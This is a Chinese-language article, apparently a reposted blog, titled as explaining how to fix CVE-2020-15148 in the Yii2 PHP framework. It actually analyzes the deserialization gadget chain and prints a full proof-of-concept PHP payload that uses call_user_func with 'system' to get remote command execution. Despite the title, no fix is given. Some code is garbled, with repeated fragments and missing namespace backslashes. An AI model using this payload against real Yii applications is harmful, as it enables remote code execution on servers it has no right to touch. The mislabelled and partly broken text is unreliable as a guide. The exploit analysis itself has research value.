您好,登錄后才能下訂單哦!
今天小編給大家分享一下CVE-2020-15148漏洞怎么解決的相關知識點,內容詳細,邏輯清晰,相信大部分人都還太了解這方面的知識,所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。
Yii是一個基于組件的高性能PHP框架,用于開發大型Web應用。Yii采用嚴格的OOP編寫,并有著完善的庫引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個反序列化漏洞,該漏洞在調用unserialize時,攻擊者可通過構造特定的惡意請求執行任意命令,這也是常見的反序列化漏洞的利用過程。
提到PHP反序列化一定離不開魔術方法,這些方法通常會在達到一些特殊條件后就會執行,舉個例子:
__construct() //新建對象時調用
我們編寫下面的代碼:
當我們執行時new了一個類,這就會調用里面的魔術方法,從而輸出語句。當然這只是最簡單的魔術方法,下面給大家一個列表來進行參考:
了解完以上知識點后我們開始對該漏洞進行分析。
首先我們要搭建環境,最好搭建在本地方便調試,源碼地址如下:
github.com/yiisoft/yii…
搭建完后我們首先找到漏洞切入點,也就是可能存在威脅的地方,結合上面對魔術方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點,因為里面有個魔術方法在對象銷毀時調用:
__destruct()調用了reset()方法,方法里面的$this->_dataReader是可控的:
public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }
于是思考接下來要如何利用,根據POC的構造,假設我們將_dataReader變成類然后去調用close()方法,若類型沒有close()方法,同時還有__call魔術方法,則會調用該魔術方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調用了foemat方法:
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
跟進這里:
$this->getFormatter($formatter)
看到存在可控參數:
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } }
this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會發現值為:
$formatter='close',$arguments=空
即返回的第一個參數是可控的,我們便可以調用任意的無參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:
public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執行RCE。利用鏈如下:
yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()
這里貼一個大佬們的POC:
<?php namespace yiirest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'phpinfo();'; } } } namespace Faker{ use yiirestCreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yiidb{ use FakerGenerator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yiidbBatchQueryResult)); } ?>
下面是傳入構造好的payload對網站進行請求的結果,可以看到成功進行了命令執行。
以上就是“CVE-2020-15148漏洞怎么解決”這篇文章的所有內容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會為大家更新不同的知識,如果還想學習更多的知識,請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。